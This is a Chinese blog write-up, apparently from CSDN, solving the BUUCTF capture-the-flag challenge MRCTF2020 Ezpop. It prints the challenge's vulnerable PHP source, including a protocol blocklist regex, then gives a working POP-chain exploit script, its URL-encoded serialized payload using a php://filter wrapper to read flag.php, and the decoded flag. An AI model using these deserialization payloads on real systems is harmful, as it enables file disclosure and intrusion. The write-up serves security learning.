

# buuctf-[MRCTF2020]Ezpop) (小宇特详解)

原创

周星星ZY  于 2022-04-04 17:24:00 发布  451  收藏

分类专栏: [buuctf](#) 文章标签: [pop web](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/xhy18634297976/article/details/123956924>

版权



[buuctf](#) 专栏收录该内容

23 篇文章 2 订阅

订阅专栏

## buuctf-[MRCTF2020]Ezpop (小宇特详解)

1.先查看题目, 题目是eazypop, 说明这道题是让构造简单的pop链

Welcome to index.php

```
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.iki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected $var;
    public function append($value){
        include($value);//这里的include函数，可以让我们来进行php伪协议，这里是第一个突破口。
    }
    public function __invoke(){//调用函数的方式调用一个对象时的回应方法
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){//在一个对象被当作一个字符串使用时调用，当echo一个对象时会自动触发这个方法。
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {//使用了黑名单过滤了一下http协议的东西，但是不影响咱们的php伪协议
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;//get方法用来返回$function,然后$function的值是$this->p，这里将Modifier成为了函数
        return $function();
    }
}

if(isset($_GET['pop'])){//get方法传参pop，然后反序列化
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
```

这里先给大家说一下反序列化的魔术函数

\_\_construct()//当一个对象创建时被调用

\_\_destruct() //当一个对象销毁时被调用

\_\_toString() //当一个对象被当作一个字符串使用

\_\_sleep()//在对象在被序列化之前运行

\_\_wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)

\_\_get()//获得一个类的成员变量时调用

\_\_set()//设置一个类的成员变量时调用

\_\_invoke()//调用函数的方式调用一个对象时的回应方法

\_\_call()//当调用一个对象中的不能用的方法的时候就会执行这个函数

还要补充一个基础的知识，->是php中的运算符。

## 解题思路

先看一下Modifier类

```
class Modifier {
    protected $var;
    public function append($value){
        include($value);//这里的include函数，可以让我们来进行php伪协议，这里是第一个突破口。
    }
    public function __invoke(){//调用函数的方式调用一个对象时的回应方法
        $this->append($this->var);
    }
}
```

这里可以利用include来传入一个php伪协议来访问flag.php，然后通过一系列的方法来进行调用。

\_\_invoke函数被调用时会触发include函数。

这里的include函数是触发漏洞的最后一步。

那么如何调用invoke呢。

这里我们可以看Test类

```
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
```

这里有\_\_get()魔术方法。

这里直接将`this->__`进行了调用。这里将 `this->p` 设为一个构造好的Modifier对象。

然后在看show类

```
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){//在一个对象被当作一个字符串使用时调用，当echo一个对象时会自动触发这个方法。
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {//使用了黑名单过滤了一下http协议的东西，但是不影响咱们的php伪协议
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
```

show类中的\_\_construct()魔术方法

创建新对象的时候会自动调用这个方法

主要利用\_\_toString() 这个魔术方法

在一个对象被当作一个字符串使用时调用，当echo一个对象时会自动触发这个方法。返回了\$this->str->source;

所以要echo include()里的内容

的让source等于一个对象

最终思路

1.调用include()函数，让Test类中的属性p等于Modifier这个类，从而触发 \_\_get()魔术方法  
将Modifier这个类变成一个函数，从而调用\_\_invoke()方法，进而调用include()函数

2.让source 等于对象，进而触发\_\_toString方法，输出内容

最后的exp

```

<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
public $source;
public $str;
public function __construct(){
$this->str = new Test();
}
}
class Test{
public $p;
}

$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();

echo urlencode(serialize($a));

?>

```

在在线php中进行序列化

The screenshot shows an online PHP execution tool interface. At the top, there is a navigation bar with the text "菜鸟工具" (Cainiao Tools) and a search bar. Below the navigation bar, the PHP code from the previous image is pasted into a text area. The code is as follows:

```

1 <?php
2 class Modifier {
3     protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
4 }
5
6
7
8
9
10 class Show{
11     public $source;
12     public $str;
13     public function __construct(){
14         $this->str = new Test();
15     }
16 }
17 class Test{
18     public $p;
19 }
20 }
21
22
23 $a = new Show();
24 $a->source = new Show();
25 $a->source->str->p = new Modifier();
26
27

```

On the right side of the interface, the output of the script is displayed as a long, base64-encoded string:

```

O%3A4%3A%22Show%22%3A2%3A7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A9%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A7Bs%3A6%3A%2200%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A7Bs%3A1%3A%22p%22%3BN%3B%7D%7D

```

然后在url中传参?pop



**Base64.us** Base64 在线编码解码 (最好的 Base64 在线工具)

Base64 | URLEncode | MD5 | TimeStamp

请输入要进行 Base64 编码或解码的字符

```
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUuJGZsYWw9ICJmbGFne2Q2OWU3NzMyLWYyY2EtNDkNy04OWQ2LTQ1MTJmZjkxNWNmZH0iOwp9CmVjaG8gIklhYAgTWUgRmluZCBGTEFHISI7Cj8+
```

编码 (Encode) 解码 (Decode) ↑ 交换 (编码快捷键: **Ctrl** + **Enter**)

Base64 编码或解码的结果:  编/解码后自动全选

```
<?php
class Flag{
    private $flag= "flag{d69e7732-f2ca-41d7-89d6-4512f915cfd}";
}
echo "Help Me Find FLAG!";
?>
```

解码完毕。复制结果 生成固定链接

也可以选择图片文件来获取它的 Base64 编码的 DataURI 形式:  未选择文件

Code by @二环同学 | 视频点播/存储/CDN产品流量无门槛0.11/GB, 推荐他人使用返现10% [各语言中的实现方法](#) [高级设置](#)

